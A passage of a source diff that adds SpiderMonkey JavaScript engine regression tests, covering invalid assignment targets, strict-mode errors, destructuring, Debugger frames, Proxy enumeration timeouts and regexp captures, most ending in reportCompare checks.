+ * NB: JSOP_SETCALL throws only JSMSG_BAD_LEFTSIDE_OF_ASS, it does not
+ * specialize for ++ and -- as the compiler's error reporting does. See
+ * the next section's forked assertEq code.
+ */
+ assertEq(e.message, "invalid assignment left-hand side");
+ }
+ }
+}
+
+/* Now test for strict mode rejecting any SETCALL variant at compile time. */
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval("(function () { 'use strict'; " + lhs_prefix[i] + "foo('x')" + lhs_suffix[i] + "; })");
+ assertEq(i, -3);
+ } catch (e) {
+ if (/\+\+|\-\-/.test(lhs_prefix[i] || lhs_suffix[i]))
+ assertEq(e.message, "invalid increment/decrement operand");
+ else if (/\[/.test(lhs_prefix[i]))
+ assertEq(e.message, "invalid destructuring target");
+ else
+ assertEq(e.message, "invalid assignment left-hand side");
+ }
+}
+
+/*
+ * The useless delete is optimized away, but the SETCALL must not be. It's not
+ * an early error, though.
+ */
+var fooArg;
+function foo(arg) { fooArg = arg; }
+try {
+ eval("delete (foo('x') = 42);");
+ assertEq(0, -4);
+} catch (e) {
+ assertEq(e.message, "invalid assignment left-hand side");
+}
+assertEq(fooArg, 'x');
+
+/* Delete of a call expression is not an error at all, even in strict mode. */
+function g() {
+ "use strict";
+ assertEq(delete Object(), true);
+}
+g();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-610026.js b/js/src/tests/js1_8_5/regress/regress-610026.js
new file mode 100644
index 000000000..e7b9df909
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-610026.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = "pass";
+var actual;
+
+// Scripts used to be limited to 2**20 blocks, but no longer since the frontend
+// rewrite. The exact limit-testing here should all pass now, not pass for
+// 2**20 - 1 and fail for 2**20.
+var s = "{}";
+for (var i = 0; i < 21; i++)
+ s += s;
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += s.slice(0, -4);
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += "{}";
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-614714.js b/js/src/tests/js1_8_5/regress/regress-614714.js
new file mode 100644
index 000000000..4d387279c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-614714.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f(reportCompare) {
+ if (typeof clear === 'function')
+ clear(this);
+ return f;
+}
+
+// This must be called before clear().
+reportCompare(0, 0, 'ok');
+f(); // don't assert
diff --git a/js/src/tests/js1_8_5/regress/regress-617405-1.js b/js/src/tests/js1_8_5/regress/regress-617405-1.js
new file mode 100644
index 000000000..f8625496c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-617405-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+assertEq(Object.getOwnPropertyDescriptor(C, "prototype").configurable, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-617405-2.js b/js/src/tests/js1_8_5/regress/regress-617405-2.js
new file mode 100644
index 000000000..76e59b663
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-617405-2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+try {
+ Object.defineProperty(C, "prototype", {get: function() { throw 0; }});
+ actual = "no exception";
+} catch (exc) {
+ actual = exc.name;
+}
+new C; // don't assert
+assertEq(actual, "TypeError");
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-618572.js b/js/src/tests/js1_8_5/regress/regress-618572.js
new file mode 100644
index 000000000..915c60233
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-618572.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 618572;
+var summary = 'Do not assert when ungetting a Unicode char sequence';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: illegal character';
+
+ try
+ {
+ eval("var a\\0021 = 3;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_5/regress/regress-619003-1.js b/js/src/tests/js1_8_5/regress/regress-619003-1.js
new file mode 100644
index 000000000..6a9fd3b50
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-619003-1.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'SyntaxError: duplicate argument names not allowed in this context';
+var actual = 'No error';
+
+var a = [];
+
+// Test up to 200 to cover tunables such as js::PropertyTree::MAX_HEIGHT.
+for (var i = 0; i < 200; i++) {
+ a.push("b" + i);
+ try {
+ eval("(function ([" + a.join("],[") + "],a,a){})");
+ } catch (e) {
+ actual = '' + e;
+ }
+ assertEq(actual, expect);
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-619003-2.js b/js/src/tests/js1_8_5/regress/regress-619003-2.js
new file mode 100644
index 000000000..643286f24
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-619003-2.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "global";
+var actual = expect;
+function f([actual]) { }
+f(["local"]);
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-620376-1.js b/js/src/tests/js1_8_5/regress/regress-620376-1.js
new file mode 100644
index 000000000..de55a18c2
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-620376-1.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Igor Bukanov
+ */
+
+// Test that we can terminate looping array enumeration
+function test() {
+ if (typeof timeout != "function")
+ return;
+
+ var p = new Proxy({}, { onwKeys: function() { return Array(1e9); }});
+
+ expectExitCode(6);
+ timeout(0.001);
+
+ var n = 0;
+ for (i in p) { ++n;}
+ return n;
+}
+
+test();
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-621814.js b/js/src/tests/js1_8_5/regress/regress-621814.js
new file mode 100644
index 000000000..146a2f3ed
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-621814.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'pass';
+var actual = expect;
+function f({"\xF51F": x}) {}
+try {
+ eval(uneval(f));
+} catch (e) {
+ actual = '' + e;
+}
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-624199.js b/js/src/tests/js1_8_5/regress/regress-624199.js
new file mode 100644
index 000000000..09eda4f5c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624199.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+function roundTrip(f) {
+ try {
+ eval(uneval(f));
+ return true;
+ } catch (e) {
+ return '' + e;
+ }
+}
+
+function f() { if (true) { 'use strict'; } var eval; }
+assertEq(roundTrip(f), true);
+
+reportCompare(true,true);
diff --git a/js/src/tests/js1_8_5/regress/regress-624547.js b/js/src/tests/js1_8_5/regress/regress-624547.js
new file mode 100644
index 000000000..659b64750
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624547.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(x) {
+ delete arguments[0];
+ for(var i=0; i<20; i++) {
+ arguments[0] !== undefined;
+ }
+}
+
+/* Don't crash. */
+f(1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-624968.js b/js/src/tests/js1_8_5/regress/regress-624968.js
new file mode 100644
index 000000000..b631df90a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624968.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Bob Clary <bclary@bclary.com>
+
+try {
+ new {prototype: TypeError.prototype};
+} catch (e) {}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-626436.js b/js/src/tests/js1_8_5/regress/regress-626436.js
new file mode 100644
index 000000000..09b9093d7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-626436.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Christian Holler <decoder@own-hero.net>, Jesse Ruderman <jruderman@gmail.com>
+
+(1 ? 2 : delete(0 ? 0 : {})).x;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-633741.js b/js/src/tests/js1_8_5/regress/regress-633741.js
new file mode 100644
index 000000000..6ec1c9261
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-633741.js
@@ -0,0 +1,18 @@
+// |reftest| skip
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jan de Mooij
+ */
+
+Object.preventExtensions(this);
+delete Function;
+
+try {
+ /* Don't assert. */
+ Object.getOwnPropertyNames(this);
+} catch(e) {
+ reportCompare(true, false, "this shouldn't have thrown");
+}
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-1.js b/js/src/tests/js1_8_5/regress/regress-634210-1.js
new file mode 100644
index 000000000..02a1e14f1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {}
+f.p = function() {};
+Object.freeze(f);
+f.p;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-2.js b/js/src/tests/js1_8_5/regress/regress-634210-2.js
new file mode 100644
index 000000000..28adc5552
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-2.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {writable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-3.js b/js/src/tests/js1_8_5/regress/regress-634210-3.js
new file mode 100644
index 000000000..e3ec7d81b
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {configurable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-4.js b/js/src/tests/js1_8_5/regress/regress-634210-4.js
new file mode 100644
index 000000000..e4ff870d5
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-4.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function outer() {
+ function f() {}
+ f.p = function() {};
+ Object.seal(f);
+ return f.p;
+}
+
+var m1 = outer();
+var m2 = outer();
+assertEq(m1 === m2, false);
+
+m1.foo = "hi";
+assertEq(m2.foo, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-635195.js b/js/src/tests/js1_8_5/regress/regress-635195.js
new file mode 100644
index 000000000..89980b05a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-635195.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var obj = {set x(v) {}};
+obj.watch("x", function() { delete obj.x; });
+obj.x = "hi"; // don't assert
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-636364.js b/js/src/tests/js1_8_5/regress/regress-636364.js
new file mode 100644
index 000000000..02df9878a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-636364.js
@@ -0,0 +1,29 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jason Orendorff, Brendan Eich
+ */
+
+if (typeof newGlobal == 'function') {
+ var gsame = newGlobal('same-compartment');
+
+ gsame.eval("function f() { return this; }");
+ f = gsame.f;
+ assertEq(f(), gsame);
+
+ gsame.eval("function g() { 'use strict'; return this; }");
+ g = gsame.g;
+ assertEq(g(), undefined);
+
+ var gnew = newGlobal();
+
+ gnew.eval("function f() { return this; }");
+ f = gnew.f;
+ assertEq(f(), gnew);
+
+ gnew.eval("function g() { 'use strict'; return this; }");
+ g = gnew.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-636394.js b/js/src/tests/js1_8_5/regress/regress-636394.js
new file mode 100644
index 000000000..d1a249786
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-636394.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = {p0: function () {}};
+var b = /f/;
+b.__proto__ = a;
+b.watch("p0", function () {});
+b.p0;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-640075.js b/js/src/tests/js1_8_5/regress/regress-640075.js
new file mode 100644
index 000000000..449c6ef08
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-640075.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+"use strict";
+try {
+ eval("(function() { eval(); function eval() {} })");
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, "SyntaxError");
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-642247.js b/js/src/tests/js1_8_5/regress/regress-642247.js
new file mode 100644
index 000000000..318079d72
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-642247.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof timeout == "function") {
+ assertEq(typeof timeout(), "number");
+ assertEq(typeof timeout(1), "undefined");
+}
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-643222.js b/js/src/tests/js1_8_5/regress/regress-643222.js
new file mode 100644
index 000000000..52d3aa9cd
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-643222.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* This shouldn't trigger an assertion. */
+(function () {
+ eval("var x=delete(x)")
+})();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-1.js b/js/src/tests/js1_8_5/regress/regress-646820-1.js
new file mode 100644
index 000000000..535878d50
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-1.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [1, function () x];
+ assertEq(y(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-2.js b/js/src/tests/js1_8_5/regress/regress-646820-2.js
new file mode 100644
index 000000000..a6c9d5a81
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-2.js
@@ -0,0 +1,11 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var obj = {prop: 1};
+ var [x, {prop: y}] = [function () y, obj];
+ assertEq(y, 1);
+ assertEq(x(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-3.js b/js/src/tests/js1_8_5/regress/regress-646820-3.js
new file mode 100644
index 000000000..392a4345d
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-3.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [function () y, 13];
+ assertEq(x(), 13);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-665355.js b/js/src/tests/js1_8_5/regress/regress-665355.js
new file mode 100644
index 000000000..ef91161c4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-665355.js
@@ -0,0 +1,16 @@
+var x = new ArrayBuffer(2);
+
+var test = function(newProto) {
+try {
+ x.__proto__ = newProto;
+ return false;
+} catch(e) {
+ return true;
+}
+}
+
+assertEq(test(x), true);
+assertEq(test({}), true);
+assertEq(test(null), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-672892.js b/js/src/tests/js1_8_5/regress/regress-672892.js
new file mode 100644
index 000000000..57c8732eb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-672892.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+with (0)
+ for (var b in 0) // don't assert in parser
+ ;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-672893.js b/js/src/tests/js1_8_5/regress/regress-672893.js
new file mode 100644
index 000000000..497b6132f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-672893.js
@@ -0,0 +1,18 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f() {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function (a) {
+ var v = a;
+ assertEq(v, 42);
+ return function() { return v; };
+ }; }; }; }; }; }; }; }; }; }; }; }; }; }; };
+};
+
+assertEq(f()()()()()()()()()()()()()()()(42)(), 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-694306.js b/js/src/tests/js1_8_5/regress/regress-694306.js
new file mode 100644
index 000000000..84bfc1ded
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-694306.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x;
+try {
+ eval("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+assertEq("if" in this, false);
+
+x = undefined;
+try {
+ Function("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-1.js b/js/src/tests/js1_8_5/regress/regress-698028-1.js
new file mode 100644
index 000000000..fb1876b27
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-1.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+{
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ eval("");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-2.js b/js/src/tests/js1_8_5/regress/regress-698028-2.js
new file mode 100644
index 000000000..09bdf2639
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-2.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalInFrame
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g = newGlobal();
+var dbg = new g.Debugger(this);
+
+if (typeof evalInFrame === 'function') {
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ evalInFrame(1, "");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-3.js b/js/src/tests/js1_8_5/regress/regress-698028-3.js
new file mode 100644
index 000000000..7dba2d954
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-3.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof Debugger === 'function') {
+ var g = newGlobal();
+ var dbg = new Debugger(g);
+ dbg.onDebuggerStatement = function (frame) { frame.eval(''); };
+ var s = '{ let ';
+ for (var i = 0; i < 128; i++)
+ s += 'x' + i + ', ';
+ s += 'X = 0; debugger; }';
+ g.eval(s);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-699682.js b/js/src/tests/js1_8_5/regress/regress-699682.js
new file mode 100644
index 000000000..ad1b4e41e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-699682.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Don't assert trying to parse any of these.
+var a = ["({''})",
+ "({''} = {})",
+ "var {''};",
+ "var {'', a} = {a: 0};",
+ "var {'bad'};",
+ "({'bad'} = {bad: 0});",
+ "var {'if'};",
+ "function f({''}) {}",
+ "function f({a, 'bad', c}) {}"];
+
+var x;
+for (var i = 0; i < a.length; i++) {
+ x = undefined;
+ try {
+ eval(a[i]);
+ } catch (exc) {
+ x = exc;
+ }
+ assertEq(x instanceof SyntaxError, true);
+}
+assertEq("" in this, false);
+assertEq("bad" in this, false);
+assertEq("if" in this, false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-736792.js b/js/src/tests/js1_8_5/regress/regress-736792.js
new file mode 100644
index 000000000..01744f6a8
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-736792.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof options == "function") {
+ var opts = options();
+ if (!/\bstrict_mode\b/.test(opts))
+ options("strict_mode");
+}
+
+var ok = false;
+try {
+ eval('foo = true;');
+} catch (e) {
+ if (/^ReferenceError:/.test(e.toString()))
+ ok = true;
+}
+
+if (ok)
+ reportCompare(0, 0, "ok");
+else
+ reportCompare(true, false, "this should have thrown a ReferenceError");
diff --git a/js/src/tests/js1_8_5/regress/regress-810525.js b/js/src/tests/js1_8_5/regress/regress-810525.js
new file mode 100644
index 000000000..520ca413e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-810525.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = '';
+var actual = '';
+
+function test(s) {
+ var threw = false;
+ try {
+ eval(s);
+ } catch (e) {
+ assertEq(e.message.indexOf('(intermediate value)'), -1);
+ threw = true;
+ } finally {
+ assertEq(threw, true);
+ }
+}
+
+test("({p:1, q:2}).m()");
+test("[].m()");
+test("[1,2,3].m()");
+test("/hi/.m()");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js
new file mode 100644
index 000000000..1b31f3c53
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js
@@ -0,0 +1,20 @@
+function toSource(o) { return o === null ? "null" : o.toSource(); }
+
+var gcgcz = /((?:.)+)((?:.)*)/; /* Greedy capture, greedy capture zero. */
+reportCompare(["a", "a", ""].toSource(), gcgcz.exec("a").toSource());
+reportCompare(["ab", "ab", ""].toSource(), gcgcz.exec("ab").toSource());
+reportCompare(["abc", "abc", ""].toSource(), gcgcz.exec("abc").toSource());
+
+reportCompare(["a", ""].toSource(), toSource(/((?:)*?)a/.exec("a")));
